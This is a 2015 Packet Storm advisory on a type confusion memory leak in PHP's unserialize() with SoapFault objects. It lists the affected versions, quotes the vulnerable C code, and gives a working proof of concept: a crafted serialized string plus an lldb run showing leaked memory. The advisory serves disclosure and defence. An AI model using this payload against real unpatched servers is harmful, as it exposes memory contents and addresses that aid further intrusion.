PHP SoapFault Type Confusion

Type packetstorm
Reporter Taoguang Chen
Modified 2015-04-29T00:00:00


                                            `# Type Confusion Infoleak Vulnerability in unserialize() with SoapFault  
Taoguang Chen <[@chtg](> - Write Date: 2015.3.1  
- Release Date: 2015.4.28  
> A type confusion vulnerability was discovered in unserialize() with SoapFault object's __toString() magic method that can be abused for leaking arbitrary memory blocks.  
Affected Versions  
Affected is PHP 5.6 < 5.6.8  
Affected is PHP 5.5 < 5.5.24  
Affected is PHP 5.4 < 5.4.40  
Affected is PHP 5.3 <= 5.3.29  
This vulnerability was disclosed by Taoguang Chen.  
PHP_METHOD(SoapFault, __toString)  
faultcode = zend_read_property(soap_fault_class_entry, this_ptr,  
"faultcode", sizeof("faultcode")-1, 1 TSRMLS_CC);  
faultstring = zend_read_property(soap_fault_class_entry, this_ptr,  
"faultstring", sizeof("faultstring")-1, 1 TSRMLS_CC);  
file = zend_read_property(soap_fault_class_entry, this_ptr, "file",  
sizeof("file")-1, 1 TSRMLS_CC);  
line = zend_read_property(soap_fault_class_entry, this_ptr, "line",  
sizeof("line")-1, 1 TSRMLS_CC);  
len = spprintf(&str, 0, "SoapFault exception: [%s] %s in  
%s:%ld\nStack trace:\n%s",  
Z_STRVAL_P(faultcode), Z_STRVAL_P(faultstring),  
Z_STRVAL_P(file), Z_LVAL_P(line),  
Z_STRLEN_P(trace) ? Z_STRVAL_P(trace) : "#0 {main}\n");  
RETURN_STRINGL(str, len, 0);  
The Z_STRVAL_P macro lead to looking up an arbitrary valid memory  
address, and return a string via a integer-type zval that start from  
this memory address. If the memory address is an invalid memory  
position, it should result in a crash.  
The Z_LVAL_P macro lead to leaking memory address via a string-type  
zval that this string value stored.  
Proof of Concept Exploit  
The PoC works on standard MacOSX 10.10.2 installation of PHP 5.5.14.  
$data = 'O:9:"SoapFault":4:{s:9:"faultcode";i:4298448493;s:11:"faultstring";i:4298448543;s:7:"'."\0*\0".'file";i:4298447319;s:7:"'."\0*\0".'line";s:4:"ryat";}';  
echo unserialize($data);  
Test the PoC on the command line, then output some memory blocks and  
memory address:  
$ lldb php  
(lldb) target create "php"  
Current executable set to 'php' (x86_64).  
(lldb) run test.php  
SoapFault exception: [UH??AWAVSPI??I??H????  
in UH??AWAVAUATSH???:4307253992 ] UH??SPD???*?????t"H?  
Stack trace:  
#0 test.php(4): unserialize('O:9:"SoapFault"...')  
#1 {main}  
Process 889 exited with status = 0 (0x00000000)